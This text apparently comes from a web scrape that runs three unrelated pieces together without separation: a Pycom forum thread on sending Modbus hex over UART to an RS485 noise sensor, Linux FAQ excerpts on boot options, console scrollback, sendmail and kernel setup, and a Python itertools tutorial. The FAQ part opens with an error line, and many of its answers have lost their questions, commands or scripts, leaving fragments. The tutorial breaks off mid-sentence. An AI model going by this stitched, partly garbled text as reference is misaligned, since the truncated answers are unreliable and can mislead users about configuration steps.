sending hex via uart I have a sensor, which communicates with my bouard via uart. I have to send this hex: 0x01 0x03 0x00 0x00 0x00 0x01 0x84 0x0A My quesion is what is the correct syntax to do that? This doesn't throw a syntax error, but I am not sure this means what I think it means.... uart.write(b'\x01\x03\x00\x00\x00\x01\x84\x0A') If this correct what other alternatives are acceptable? I am unable to communicate with the sensor, and I am not sure where is the issu so far. One of my guess is this. Thanks @robert-hh I messed up the indexing. Thanks. :) @robert-hh This is a sample from the datasheet: 0x01 0x03 0x02 0x02 0xC9 0x79 0x72 0x02 0xC9 is the decibel value --> 02C9H --> 713 --> 71,3 declibel 0x79 0x72 this is the ?checksum? @tttadam my question would be: at what place in the buffer is the value you want to have, and how is it coded. At the moment unpack assumes, that it is a 2 Byte small endian value in bytes 4 and 5. If you just need a single byte, you can use r[4]. @robert-hh hmmm, I am not sure how does unpack() works, but the value seems to be off to me. The db value is the result is: b'\x01\x03\x02\x02y x\xc6' db value is: 31096 result is: b'\x01\x03\x02\x02\x83\xf8\x85' db value is: -31752 result is: b'\x01\x03\x02\x02\x85x\x87' db value is: -31368 result is: b'\x01\x03\x02\x02\x868\x86' db value is: -31176 result is: b'\x01\x03\x02\x02yx\xc6' db value is: 31096 my code: def f(): uart.read() re(1) de(1) utime.sleep_ms(20) uart.write(b'\x01\x03\x00\x00\x00\x01\x84\x0A') utime.sleep_us(8500) re(0) de(0) utime.sleep_ms(500) r = uart.read() print("result is: " + str(r)) print("db value is: " + str(ustruct.unpack(">h", r[4:6])[0])) # if the change the range to 4:5 which are the db values, i get a value error buffer too small @tttadam You can use ustruct.unpack() to decode the message. So you would have a 2 byte integer to unpack from the message at position 4 and 5, like. import ustruct noise = ustruct.unpack("<h", msg[4:6])[0] If the value you need is big endian, replace in the format code of unpack the < by > eventually I found the issue. I had to play around a little bit more with the timing. (I have to invest a logic level analyser) But now a I facing an other one. The board converts some of the repy array to ascii caracters, but I need the value. Is there a way to get the hex value? the 4th and 5th values are suppose to be the noise level (in hex). result is: b'\x01\x03\x02\x02\x8a8\x83' result is: b'\x01\x03\x02\x02\x829E' result is: b'\x01\x03\x02\x02\x83\xf8\x85' result is: b'\x01\x03\x02\x02\x88\xb9B' result is: b'\x01\x03\x02\x03\x8a9\x13' result is: b'\x01\x03\x02\x02\xe3\xf8\xad' I will write down my issue a little bit more specific. I would like to communicate with an rs485 device over an wsh-4777 converter. With an usb-rs485 and usb uart converter we manage to debug that the issue probarly that the pycom is unable to pull high enough the rse pin on the wsh-4777 converter. If i hook the sensor to a pc via rs485-usb converter then it's work fine. If i hook the pycom board to the pc via an usb-uart converter, then I see the correct hex array If I listen in between the wsh-4777 and sensor, when it hooked to the pycom, then the sensor gets the value, send the answer back, but the pycom didn't received it. (The rs485 device btw is an RT-ZS-BZ-485 noise sensor) this is the code what I am using: p = Pin('P6', mode=Pin.OUT, pull=Pin.PULL_UP) uart = UART(1, baudrate=9600, pins=('P20','P21'),parity=None, stop=1,bits=8) def f(): p(1) utime.sleep_us(50) uart.write(b'\x01\x03\x00\x00\x00\x01\x84\x0A') utime.sleep_us(50) p(0) utime.sleep_us(50) r = uart.read() print("result is: " + str(r)) @tttadam This should be correct. You can connect your UART to your computer and see what you receive there to verify that it is probably sending what you intend. Have you checked: - The speed/bits/parity settings? - Whether level-shifting (3V/5V...) is needed? - That you didn't switch RX and TX? - Whether any other signals (DTR, RTS/CTS) are needed?
https://forum.pycom.io/topic/5608/sending-hex-via-uart/8?lang=en-US
CC-MAIN-2021-04
refinedweb
814
81.33
I want to ask why we get this annotation: Method invocation getContext.getContentResolver() may produce NullPointerException getContext().getContentResolver().notifyChange(uri, null); If you look in the source of ContentProvider (just hold SHIFT and click on the classname in Android Studio) then you will find that the implementation is holding an object of type Context as mContext. Your solution is just the same, which means if mContext of ContentProvider is null, your reference will also be null. So there is no need for this. To help you out, this is just a warning of your IDE if make such a construct yourself. But in this case there will always be context, because the ContentProvider is generated by your system. To avoid the error in your IDE just write @SuppressWarnings("ConstantConditions") above your class definition like: ... @SuppressWarnings("ConstantConditions") public class NoteProvider extends ContentProvider { ...
https://codedump.io/share/bdskHWWgQaIp/1/android-getcontextgetcontentresolver-sometimes-gets-nullpointerexception
CC-MAIN-2016-50
refinedweb
141
56.25
ngrok. Sometimes you need to give somebody a demo and this person cannot sit next to you. This can be a stakeholder or a fellow developer. In these situations there's a great tool you can use to create a tunnel to your laptop. It's called ngrok. In this video we explain the problem that we're trying to solve. The streamlit app that we're running locally ( demo.py) has these contents: import streamlit as st import numpy as np import matplotlib.pylab as plt st.title('Simulation[tm]') st.write("Here is our super important simulation.") x = st.sidebar.slider('Slope', min_value=0.01, max_value=0.10, step=0.01) y = st.sidebar.slider('Noise', min_value=0.01, max_value=0.10, step=0.01) arr = np.cumprod(1 + np.random.normal(x, y, (100, 10)), axis=0) for i in range(arr.shape[1]): plt.plot(arr[:, i]) st.pyplot() If you're interested in learning how this app works, you may appreciate the small course we've made over here. To run streamlit locally it much first be installed and then you can run it. pip install streamlit streamlit run demo.py Feedback? See an issue? Something unclear? Feel free to mention it here. If you want to be kept up to date, consider getting the newsletter.
https://calmcode.io/ngrok/the-problem.html
CC-MAIN-2020-40
refinedweb
221
70.5
Nearby: SWAD-Europe workshop on Semantic Web Calendaring | SWAD-Europe Date: 2002-10-03 (current) author: Libby Miller <libby.miller@bristol.ac.uk> Description: This document contains a summary of my current understanding of the issues relevant to the SWAD-Europe semantic web Calendaring workshop, to be held on 9th October 2002. I'm hoping that this document can serve as a useful pre-meeting summary document, but also be added to as a result of the workshop. iCalendar is an RFC version of Vcal, an industry specification. It was written by the CalSch working group, which is still going. iCalendar is a model and syntax for describing events, todos and the like (RFC 2445, 1998). It's used in many devices and applications (see here and here). The working group has also created iTip (RFC 2446, Nov 1998) - semantics for group scheduling methods; iMip (RFC 2447, Nov 1998) for binding icalendar to email; Calendar attributes for vCard and LDAP (RFC 2739, Jan 2000) - ie ways of finding a uri for users calendar (Jan 2000); and Guide to internet calendaring (RFC 3283, June 2002). This last one is a good introduction to how these fit together. The group has also produced two internet drafts: Calendar access protocol (CAP) Internet Draft, June 30 2002 and iCalendar DTD (xCalendar) Internet Draft, July 25th 2002. iCalendar is specified in the ABNF notation of RFC 2234, and is based on the Mime Directory content type (an attribute-value format) RFC 2425 content type. Its syntax is case insensitive. Michael Arick's iCalendar in UML might be helpful here. iCalendar contains: These are mostly properties of the value of the property rather than being a qualifier on the property, e.g. [[ Parameter Name: CN Purpose: To specify the common name to be associated with the calendar user specified by the property. [...] This parameter can be specified on properties with a CAL-ADDRESS value type. ]] Other examples are ALTREP, CUTYPE, DELEGATED-FROM, DELEGATED-TO, DIR, ENCODING, FMTTYPE, LANGUAGE (I think), MEMBER, PARTSTAT, SENT-BY, TZID. RELTYPE seems more like a property qualifier. ROLE seems rather uncertain; also RSVP. I'm not sure about ?FBTYPE, LANGUAGE?, ?RANGE?, ?RELATED?, [[ Purpose: To explicitly specify the data type format for a property value. ]] e.g. duration, boolean, datetime, date, time; but also cal-address, uri, utc-offset So these are like objects in an RDF model - types rather than just datatypes. In iCalendar they are defined as 'restrictions on properties', but apply to the values of the properties. (but this fits quite nicely with the range of properties in RDF). [[ A property is the definition of an individual attribute describing a calendar or a calendar component. A property takes the form defined by the "contentline" notation defined in section 4.1.1. The following is an example of a property: DTSTART:19960415T133000Z ]] Properties are somewhat like a property and its value together. There is no ordering of properties. These are the main objects we want to talk about - events, todos, journal entries; also alarms, and timezones. These can be represented as RDF types. There is a conflict between the subset of iso 8601 that iCalendar specified and that described in the W3C's note on dates and time formats. This is potentially an issue, for example if we subsetted iCalendar to use with RSS 1.0, which uses W3C's dates and times. In iCalendar you can use There is a value type called UTC Offset, but it seems that this datatype is used only with timezone objects, to specify daylight savings times and so on. W3C's profile says that you can use In addition the subsets of iso 8601 they use are syntactically different, with W3C's profile using dashes and colons to separate the parts of date and time respecticely, while iCalendar has no separators. The difficulty here is that recurrence requires specifying rules, so you really need a rules language (could OWL do this?). iCalendar does specify rules for recurrrance, but there are a few problems with them (see below). Recurrence is really useful though - e.g. TV schedules, opening hours. [[ 4.3.10 Recurrence Rule Value Name: RECUR Purpose: This value type is used to identify properties that contain a recurrence rule specification. ]] A rule can be counted number of recurrances or a date until it stops (examples are by minutes, by day) and then a list of values, e.g. every day in January for 3 years RRULE:FREQ=YEARLY;UNTIL=20050131T090000Z; BYMONTH=1;BYDAY=SU,MO,TU,WE,TH,FR,SA This is a bit odd - there's BYMONTH and BYHOUR but not BYYEAR. I guess freq is just a shorthand for every x, so dont have to do a list. You can also specify an interval on a freq, e.g. FREQ=YEARLY;INTERVAL=2 = every other year. [[. For example "the last work day of the month" could be represented as: RRULE:FREQ=MONTHLY;BYDAY=MO,TU,WE,TH,FR;BYSETPOS=-1 ]] There are some difficulties with this (calsch wg mails) - here, here and here [[ The problems with recurrence rules were summarized best by Damon Chaplin in, reposted ( and edited) here: o The BYDAY modifier is ambiguous. In a YEARLY frequency with BYMONTH and/or BYWEEKNO set, does the BYDAY modifier apply to the year day, the month day, or the week day? o Should BYWEEKNO and BYMONTH be mutually exclusive? They make no sense together. (This would also avoid part of the previous problem.) o Is it possible to use BYMONTHDAY in a WEEKLY frequency, or BYYEARDAY in a MONTHLY or WEEKLY frequency? o BYSETPOS is limited to 366 values (or maybe 999 values if the comment doesn't count as part of the spec!), yet a complete expansion for every second in every day of the year would result in much larger sets. o The algorithm to calculate the first week in the year may be awkward, since some people/countries may be used to other numbering schemes. ]] I'm not sure if this was ever resolved (the archives are hard to search) Greg Fitzpatrick has proprosed a more elegant model for recurrance. See at the end of RFC 2445. Here's one example from there for info: [[ The following example specifies a three-day conference that begins at 8:00 AM EDT, September 18, 1996 and end at 6:00 PM EDT, September 20, 1996. BEGIN:VCALENDAR PRODID:-//xyz Corp//NONSGML PDA Calendar Verson 1.0//EN VERSION:2.0 BEGIN:VEVENT DTSTAMP:19960704T120000Z UID:uid1@host.com ORGANIZER:MAILTO:jsmith@host.com DTSTART:19960918T143000Z DTEND:19960920T220000Z STATUS:CONFIRMED CATEGORIES:CONFERENCE SUMMARY:Networld+Interop Conference DESCRIPTION:Networld+Interop Conference and Exhibit\nAtlanta World Congress Center\n Atlanta, Georgia END:VEVENT END:VCALENDAR ]] iCalendar is complex and lengthy, and the semantics are somewhat unclear to me (but see Michael Arick's UML version) However, it is very widely used - many applications are partially compliant. Here are some usecases, a white paper, and a useful summary. The xCalendar Internet Draft provides an annotated DTD for iCalendar. [[ This memo defines an alternative, XML representation for the standard iCalendar format defined in [RFC 2445]. This alternative representation provides the same semantics as that defined in the standard format. ]] It does not allow mixing namespaces: [[ The publication of XML version 1.0 was followed by the publication of a World-wide Web Consortium (W3C) recommendation on "Namespaces in XML". A XML name-space is a collection of names, identified by a URI. In anticipation of the broader use of XML namespaces, this memo includes the definition of the URI to be used to identify the namespace associated with the iCalendar DTD element types in other XML documents. XML applications that conform to this memo and also use namespaces MUST NOT include other non-iCalendar namespaces in an iCalendar XML document. ]] The mapping to the DTD from iCalendar was done like this: Example taken from the xCalendar internet draft [[ <> <uid>19981116T150000@cal10.host.com</uid> <dtstamp>19981116T145958Z</dtstamp> <summary>Project XYZ Review</summary> <location>Conference Room 23A</location> <dtstart>19981116T163000Z</dtstart> <dtend>19981116T190000Z</dtend> <categories> <item>Appointment</item> </categories> </vevent> </vcalendar> </iCalendar> ]] SkiCal is an Internet Draft of a vocabulary for extending iCalendar for public events such as concerts, opening hours. It is partially specified in XML, partially in mime-directory format. Greg FitzPatrick and Jonas Liljegren also did early work on transforming SkiCal to RDF. 'hybrid' vocabulary url, previous versions. This is an annotated version of iCalendar in RDF, written by Libby Miller and Michael Arick, and based where possible on Tim Berners-Lee's quick look at iCalendar. After some thought and discussion we decided to stay as close as possible to the iCalendar model because of its wide use. The main issues were in interpretation of iCalendar in terms of RDF and interpretting the intentions of the iCalendar authors. We decided to use rdf:value, like DAML+oil. RDFCore will be recommending an RDF datatyping approach soon. This was an issue because it requires inventing a rules language, which seems to be at a different level to RDF. mail from Terry Payne [[? ]] mail from Paul Buhler [[. ]] Dan Connolly has been writing personal information management tools such as palmagent, and creating schemas that these tools use. Here's a iCalendar schema - I haven't had time to do a detailed comparsion with the 'hybrid' one yet. A Palm datebook schema is also available. RSS 1.0 is a simple RDF application - essentially a way of presenting an ordered list of links with titles and descriptions. A key feature is that it is extensible using modules - e.g. for Dublin Core, and syndication. Other important features include simplicity and popularity. The events module was proposed by by Soren Roug of the European Environment agency in 2001. [[ This specification is not a reimplementation of RFC2445 iCalendar in RDF. In particular, it lacks such things as TODO and repeating events, and there is no intention of adding those parts to the specification. ]] There are five properties in this module. All are simple attribute-value type properties, with no intervening node. only one property is required - startdate: [[ Required. The date/time when the event starts. If the ev:startdate doesn't specify timezone, then the timezone is implied in the ev:location. Time intervals are not allowed. ]] 'implied timezone' seems very weak, since there's no formal mapping between location and tz - and location is 'a short description', but [[ Use semantic augmentation if you desire to give i.e. a URL to the place. ]] I'm not sure what this means ev:enddate [[ The date/time when the event ends. If the ev:enddate is the same as ev:startdate or not specified, then the event has no duration. The ev:enddate can have a different time zone than the ev:startdate. Time intervals are not allowed. ]] ev:organizer [[ The name of the organization or person who organizes the event. Use semantic augmentation if you desire to give i.e. a phone number to the organizer. ]] No way of identifying the person is suggested ev:type [[ The type of event, such as conference, deadline, launch, project meeting. The purpose is to promote or filter out certain types of events that the user has a particular (lack of) interest for. Avoid the use of subject specific wording. Use instead the Dublin Core subject element. ]] Which is rather vague. RSS is constrained to using W3C Date and time formats. Modelling issues. RSS uses urls to identify the objects of interest. It is easy to confuse a web page about an event with the event itself. Definitions are vague. As described above, in several cases, the content of tags is not machine processible. This section will expand a lot. At the moment all there is is Jerome Euzenat's document on Semantic web and calendaring other urls: URLs from this document iCalendar CalSch working group Lists of iCalendar evices and applications Greg Fitzpatrick's 'Orlando' recurrence model Michael Arick's iCalendar in UML iCalendar Usage SkiCal W3C Date and Time formats RDF and calendaring A quick look at iCalendar, Tim Berners-Lee Skical in RDF: 'hybrid' model problems with the hybrid model DAML+oil Palmagent RSS 1.0 RSS events module Last Modified $Date: 2002/12/07 16:27:28 $ Maintainers: libby.miller@bristol.ac.uk danbri@w3.org
http://www.w3.org/2001/sw/Europe/200210/calendar/vocab_usecases.html
CC-MAIN-2018-30
refinedweb
2,059
55.44
Hi, Thank you for the good advice. I want to further explain my situation. I am married but have been filing separate from my wife. We are jointly responsible for $18,900 of Federal taxes from 2007 and 2009. We were both served with notices to place a Fed Tax Lien on us on April 1, 2013. She also has Fed taxes due of $9100 for 2012 which brings her over the $25,000 threshold to make an easy installment agreement. I want to use some of our personal credit line tomorrow to pay $4,000 to bring her under the $25K and have her call tomorrow and try to make a deal to pay $200 per month. I think timing is important here. If thy agree with her offer..do I still have to include all her information (income, expenses, liabilities, on the 433-A Form if I mail it after she makes the agreement but before the 31st of the month. Yesterday I called the IRS, within the 30 day limit and we both signed a Request for a Collection Due Process or Equivalent Hearing. On that form we checked off #6 -Filed Notice of Federal Tax Lien. #7- checked, #8 -Installment Agreement. I requested a Withdrawal of the Lien ( I am a Licensed Series 7 Financial Adviser and might lose my license, if not get terminated from my company, thus losing my income if a Fed Tax Lien was issued. My total tax due for 2007, 2009, 2011 and 2012 is roughly $140,000. I reviewed all our data with the agent. The agent was able to get his manager to approve the Hearing. I was asked to fill out Form 433-A. I was told that the Lien would be on hold and I would be notified after I sent in the 433-A form. He said the process could take 30-90 days. He said it wouldn't be necessary for my wife to call or do anything, but I think I might be better served if I have her call and we pay the $4,000. I had been previously paying $500 per month for our 2007,2009 tax bill.. My tax bill for 2011 was $117,000 because of the situation I explained before about the forgivable loan and receiving the 1099-MISC in 2011. I filed an exension last October and now it has progressed as explained. For 2012 I also paid $5000 in estimated Fed taxes out of the $10,451 that was due. My wife is a Teacher with income from teaching in excess of $100,000 gross. She also is the owner of a Sub Chapter S Corp that had to file an extension for 2012 because of the situation I explained to you before. Last year she had a $7,000 loss. We think she showed a profit of around $25,000 but can't confirm that yet. She takes no salary and has temp employees that she issues 1099's to. My question is...Do we fill out two separate 433-A forms or do we try and combine all the information on one? We also have large personal individual debt ..Bank loans and CC debt ( north of $60K each) plus an SBA Business credit card with a $50,000 line, which $46K is used. . We both signed personally for that 2 years ago and have been using that card to fund her business which netted over $200k in sales in $2012. I also have an Open Am X card ($35k line) under her business name/my name which she buys inventory for. Part of our debt ($60K each) is joint personal debt( bank loan of $13.5K.). Her gross sales for her internet company so far for 2013 is around $130K. All this is done part time. Her inventory is around $70,000. Cash flow is tight now. I engaged another account but haven't finished sending him all the paper work for all entities. I have put together all our binding agreements..ie. Rental of home, car leases, etc as well as ALL our CC statements to send to the ACS We have very little in the way of investments. Under $15K in her name plus her 403B ($35k with loans of $13K) and a Roth IRA under $1500 for me. Any advice..mostly need it on whether I need to combine everything on the one 433-A. Thanks I did explain to them the situation. I was asked by one of the first agents I spoke to if my wife had any other sources of income and I told them about her other business and gave them the Fed tax ID and the name. The last agent I spoke to never brought it up in the almost two hours we were on the phone. So they must have that on file. They are working with me and said they would hold off on filing the lien. He said after it goes to the ACS unit for review of all my documentation and meeting should there be one, it would come to the IRS to work out a deal. The most important question I have, one which you might not know the correct/legal strategy to take is...Should we pay off the $4,000 NOW to get her under the $25,000 or do I just wait and see what plays out and use the $4,000 available credit when I know exactly what they are willing to settle for? I guess I should call them back tomorrow and further explain the situation. I hope to make a deal with the IRS over the next few months. They told me it takes that long for the ACS to review, write me, see me, make a decision, write me and then send off info to the IRS. My question is1) will they ask for current (90) days from now updates information 2) If not and we are able to make a deal ( installment agreement or a Offer and Comp) and stay current on our taxes, if in the future our income goes up can they come back and ask from more money. I know that the installment deal you have to remain current or they cancel it. But on an Offer and Comp can they come back if your income increases. Also my mother-in-law has been living with us since November. I know that she needs to be with us for a year to have her as a tax deduction. Will the ACS consider her as a deduction during this process. We pay 90% of her expenses and she pays us nothing. We are also in the process of looking for a new place to live. We rent our house and the owner is giving the house to his daughter as a wedding gift. We are trying to buy a house but this process has put things on hold. It's been over a month and I just received a letter setting up a July 9th phone meeting with the Appeals division. Our request for a hearing was approved and no tax lien will be put on us until July 9th if we are able to work out an agreement. A few things have changed. I want to give you a short review. We owe about $18,000 in back taxes (2007 & 2009 ) that were part of an installment agreement which I had that is now null and void because of my individual unpaid tax liability from 2011. It's about a $120,000 problem. I continue to pay the $500 per month from the installment agreement. We are both current on 2013 taxes. My wife is trying to buy a house. She is on the hook for the $18,000 plus she just filed her Corporate tax return (Sub S) and she hasn't filed her personal return yet. She owes about $20,000 to Fed and $4,000 to the State. She has a preapproval letter for a $450,000 mortgage but she needs to file her personal 2012 return. Her best friend for 35 years past away about 7 months ago at the age of 41 and her husband is going in with her on the house and putting up $100,000 for most of the down payment. Her portion of the down payment is $10,000 plus the $25,000 closing cost. Her friend will be on the deed. They need to give a $25,000 deposit which will come from him. She also needs to be careful that they don't try and put a lien on that $25,000 that will be in escrow. Timing is the issue. The bank will run another credit check in the next 2-4 weeks. She hasn't filed her return yet but will need to do so before the bank goes forward with her on the commitment letter. It needs to be clean. Which means she needs to take $25,000 of her $55,000 and pay off her current (2012) Federal and State tax liability now. The Letter from the Appeals dept is asking for an updated 433-A form from both of us. Her last 433-A form from 30 days ago showed a value of her stock portfolio of $12,000 ( $9,000 came from her grandmother's estate about a year ago). It's now worth $55,000 with $21,000 in cash as I type. I had her in a very good Option investment. Her total liability is $18,000 (which was from our joint returns) plus $20,000 (2012 due). I think I would be in a better situation when I talk to the agent on July 9th if she is totally off the hook and they won't be able to use any of her assets or salary ($125,000) per year as a teacher and her online clothing business that she made $25,000 last year as a basis to pay back what we owe which is mostly all my responsibility actually but she is on the hook. How do you suggest we move forward? Is it possible to call back the IRS and make a separate deal for her to maybe pay $9,000 (1/2 of the $18,000) now and get her off the hook for the balance, making it only my responsibility? I know it's complicated but any good suggestions would help. I have showed them that I am insolvent. Thanks. He is prepared to be on if we need him to be on. My wife will be making the payments and taking the deduction.
http://www.justanswer.com/tax/7qa4r-2009-audited-prepared-documents.html
CC-MAIN-2014-23
refinedweb
1,788
79.6
A: ERROR: LDP namespace resolution failure ERROR: LDP namespace resolution failure on PCMCIA-HOWTO, which is included in the distribution.: You can use the ``reget'' command of the standard ftp client program after reconnecting to pick up where you left off. Clients like ncftp support resumed FTP downloads, and wget supports resumed FTP and HTTP downloads. A: You can configure Linux at the lilo: prompt either by typing the kernel arguments at the BOOT lilo: prompt, or by adding an ``append='' directive to the [/etc/lilo.conf] file; for example: (``Where Is the Documentation?''), and the documentation in [/usr/doc/lilo]. A:: A: With the default US keymap, you can use Shift with the PgUp and PgDn keys. (The gray ones, not the ones on the numeric keypad.) With other keymaps, look in [/usr/lib/keytables]. You can remap the ScrollUp and ScrollDown keys to be whatever you like. The screen program, provides a searchable scrollback buffer and the ability to take ``snapshots'' of text-mode screens. Recent kernels that have the VGA Console driver can use dramatically more memory for scrollback, provided that the video card can actually handle 64 kb of video memory. Add the line: to the start of the file [drivers/video/vgacon.c]. This feature may become a standard setting in future kernels. If the video frame buffer is also enabled in the kernel, this setting may not affect buffering. In older kernels, the amount of scrollback is fixed, because it is implemented using the video memory to store the scrollback text. You may be able to get more scrollback in each virtual console by reducing the total number of VC's. See [linux/tty.h]. [Chris Karakas] A: For (e.g., username@example.com),. A: Make sure that Sendmail can resolve your hostname to a valid (i.e., parsable) domain address. If you are not connected to the Internet, or have a dial-up connection with dynamic IP addressing, add the fully qualified domain name to the /etc/hosts file, in addition to the base host name; e.g., if the host name is ``bilbo'' and the domain is ``bag-end.com:'' And make sure that either the /etc/host.conf or /etc/resolv.conf file contains the line: Sendmail takes many factors into account when resolving domain addresses. These factors, collectively, are known as, ``rulesets,'' in sendmail jargon. The program does not require that a domain address be canonical, or even appear to be canonical. In the example above, ``bilbo.'' (note the period) would work just as well as ``bilbo.bag-end.com.'' This and other modifications apply mainly to recent versions. Prior to version 8.7, sendmail required that the FQDN appear first in the [/etc/hosts] entry. This is due to changes in the envelope address masquerade options. Consult the sendmail documents. If you have a domain name server for only a local subnet, make sure that ``.'' refers to a SOA record on the server machine, and that reverse lookups (check by using nslookup) work for all machines on the subnet. Finally, FEATURE configuration macro options like nodns, always_add_domain, and nocanonify, control how sendmail interprets host names. The document, Sendmail: Installation and Operation Guide, included in the doc/ subdirectory of Sendmail source code distributions, discusses briefly how Sendmail resolves Internet addresses. Sendmail source code archives are listed at: [Chris Karakas] A:. However, If you have a non-PC compatible system, please see the note below. If you want to use a VC for ordinary login, it must be listed in /etc/inittab, which controls which terminals and virtual consoles have login prompts. The X Window System needs at least one free VC in order to start. [David Charlap] A:: This change will take effect immediatelytry. (``Why Does the Computer Have the Wrong Time?'') A: Is the Documentation?'') A:: That will tell you the name of the program that produced the core dump. You may want to write the maintainer(s) of the program, telling them that their program dumped core. [Eric Hanchrow] A:?'') A: See the Kernel HOWTO or the [README] files which come with the kernel release on and mirrors. (See ``'')]x[, ``Why Doesn't My PCMCIA Card Work after Upgrading the Kernel?'' and ``How Do I Get LILO to Boot the Kernel Image?'' A: Yes, but you won't be able to use simultaneously two ordinary ports which share an interrupt (without some trickery). This is a limitation of the ISA Bus architecture. See the Serial HOWTO for information about possible solutions and workarounds for this problem.? ). A: Make a file system on it with bin, etc, lib and dev directorieseverything. A:. A: Use the setleds program, for example (in [/etc/rc.local] or one of the[/etc/rc.d/*] files):]. A: The following shell script should work for VGA consoles:. [Jim Dennis] A: in the source file. [Florian Schmidt]
http://www.faqs.org/contrib/linux/Linux-FAQ/how-to-find-this-and-that.html
CC-MAIN-2014-41
refinedweb
811
66.74
1. itertools iterator function itertools includes a set of functions for processing sequential datasets.The functions provided by this module are inspired by similar features in functional programming languages such as Clojure, Haskell, APL, and SML.The goal is to be able to process quickly, use memory efficiently, and join together to represent more complex iteration-based algorithms. Iterator-based code provides better memory consumption characteristics than code that uses lists.Data is not generated from iterators until it is really needed; for this reason, it is not necessary to store all the data in memory at the same time.This "lazy" processing mode improves performance by reducing swapping and other side effects of large datasets. In addition to the functions defined in itertools, the examples in this section use some built-in functions to complete the iteration. 1.1 Merge and Decomposition Iterator The chain() function takes multiple iterators as parameters and returns an iterator, which generates the contents of all input iterators as if they were from one iterator. from itertools import * for i in chain([1, 2, 3], ['a', 'b', 'c']): print(i, end=' ') print() With chain(), multiple sequences can be easily processed without having to construct a large list. If you do not know in advance all the iterators to be combined (iterable objects), or if you need to compute using a lazy method, you can use chain.from_iterable() to construct this chain.( from itertools import * def make_iterables_to_chain(): yield [1, 2, 3] yield ['a', 'b', 'c'] for i in chain.from_iterable(make_iterables_to_chain()): print(i, end=' ') print() The built-in function zip() returns an iterator that combines elements of multiple iterators into a tuple.( for i in zip([1, 2, 3], ['a', 'b', 'c']): print(i) Like other functions in this module, the return value is an iterative object that generates one value at a time. zip() stops when the first input iterator is processed.To process all inputs (even if the number of values generated by the iterator is different), use zip_longest(). from itertools import * r1 = range(3) r2 = range(2) print('zip stops early:') print(list(zip(r1, r2))) r1 = range(3) r2 = range(2) print('\nzip_longest processes all of the values:') print(list(zip_longest(r1, r2))) By default, zip_longest() replaces all missing values with None.You can use a different replacement value with the fillvalue parameter. The islice() function returns an iterator that returns selected elements from the input iterator by index. from itertools import * print('Stop at 5:') for i in islice(range(100), 5): print(i, end=' ') print('\n') print('Start at 5, Stop at 10:') for i in islice(range(100), 5, 10): print(i, end=' ') print('\n') print('By tens to 100:') for i in islice(range(100), 0, 100, 10): print(i, end=' ') print('\n') islice() has the same slice operator parameters as the list, including start, stop, and step.The start and step parameters are optional. The tee() function returns multiple independent iterators (default is 2) based on an original input iterator. from itertools import * r = islice(count(), 5) i1, i2 = tee(r) print('i1:', list(i1)) print('i2:', list(i2)) Tee() is semantically similar to UNIX tee tools in that it repeats values read from the input and writes them to a named file and to standard output.The iterator returned by tee() can be used to provide the same dataset for multiple algorithms that are processed in parallel. The new iterator created by tee() shares its input iterator, so once a new iterator is created, the original iterator should no longer be used. from itertools import * r = islice(count(), 5) i1, i2 = tee(r) print('r:', end=' ') for i in r: print(i, end=' ') if i > 1: break print() print('i1:', list(i1)) print('i2:', list(i2)) If some values of the original input iterator are consumed, the new iterator will not regenerate them. 1.2 Convert Input The built-in map() function returns an iterator that calls a function on the value in the input iterator and returns the result.The map() function stops when all the elements in any input iterator are consumed. def times_two(x): return 2 * x def multiply(x, y): return (x, y, x * y) print('Doubles:') for i in map(times_two, range(5)): print(i) print('\nMultiples:') r1 = range(5) r2 = range(5, 10) for i in map(multiply, r1, r2): print('{:d} * {:d} = {:d}'.format(*i)) print('\nStopping:') r1 = range(5) r2 = range(2) for i in map(multiply, r1, r2): print(i) In the first example, the lambda function multiplies the input value by two.In the second example, the lambda function multiplies two parameters from different iterators and returns a tuple containing the original parameter and the calculated value.The third example stops after generating two tuples because the second interval has been processed. The starmap() function is similar to map(), but does not consist of multiple iterators forming a tuple; it uses * syntax to decompose elements in an iterator as parameters to the mapping function. from itertools import * values = [(0, 5), (1, 6), (2, 7), (3, 8), (4, 9)] for i in starmap(lambda x, y: (x, y, x * y), values): print('{} * {} = {}'.format(*i)) The map() mapping function is named f(i1,i2), and the mapping function passed in to starmap() is named f(*i). 1.3 Generate new values The count() function returns an iterator that generates an infinite number of consecutive integers.The first number can be passed in as a parameter (default is 0).There is no upper bound parameter here (see the built-in range(), which gives you more control over the result set).( from itertools import * for i in zip(count(1), ['a', 'b', 'c']): print(i) This example stops because the list parameters are fully consumed. The start position and step parameters of count() can be any numeric value that can be added.( import fractions from itertools import * start = fractions.Fraction(1, 3) step = fractions.Fraction(1, 3) for i in zip(count(start, step), ['a', 'b', 'c']): print('{}: {}'.format(*i)) In this example, the start point and step are Fraction objects from the fraction module. The cycle() function returns an iterator that repeats the contents of a given parameter indefinitely.Since you must remember all the contents of the input iterator, if it is long, it may consume a lot of memory.( from itertools import * for i in zip(range(7), cycle(['a', 'b', 'c'])): print(i) This example uses a counter variable that aborts the loop after several cycles. The repeat() function returns an iterator that generates the same value each time it is accessed.( from itertools import * for i in repeat('over-and-over', 5): print(i) The iterator returned by repeat() always returns data unless an optional time parameter is provided to limit the number of times. If you want to include values from other iterators as well as invariant values, you can use a combination of repeat() and zip() or map(). from itertools import * for i, s in zip(count(), repeat('over-and-over', 5)): print(i, s) This example combines a counter value with a constant returned by repeat(). The following example uses map() to multiply a number between 0 and 4 by 2. from itertools import * for i in map(lambda x, y: (x, y, x * y), repeat(2), range(5)): print('{:d} * {:d} = {:d}'.format(*i)) The repeat() iterator does not need to be explicitly restricted because map() stops processing at the end of any input iterator and range() returns only five elements. 1.4 Filtration The dropwhile() function returns an iterator that generates the elements of the input iterator after the condition first becomes false.( from itertools import * def should_drop(x): print('Testing:', x) return x < 1 for i in dropwhile(should_drop, [-1, 0, 1, 2, -2]): print('Yielding:', i) dropwhile() does not filter every element of input.After the first condition is false, all remaining elements of the input iterator are returned. taskwhile() is the opposite of dropwhile().It also returns an iterator that returns elements in the input iterator that guarantee the test condition is true.( from itertools import * def should_take(x): print('Testing:', x) return x < 2 for i in takewhile(should_take, [-1, 0, 1, 2, -2]): print('Yielding:', i) Once should_take() returns false, takewhile() stops processing the input. The built-in function filter() returns an iterator that contains only the elements for which the test condition returns true. from itertools import * def check_item(x): print('Testing:', x) return x < 1 for i in filter(check_item, [-1, 0, 1, 2, -2]): print('Yielding:', i) Unlike dropwhile() and takewhile(), filter() tests each element before returning. filterfalse() returns an iterator that contains only the elements that correspond when the test condition returns false. from itertools import * def check_item(x): print('Testing:', x) return x < 1 for i in filterfalse(check_item, [-1, 0, 1, 2, -2]): print('Yielding:', i) The test expression in check_item() is the same as before, so in this example using 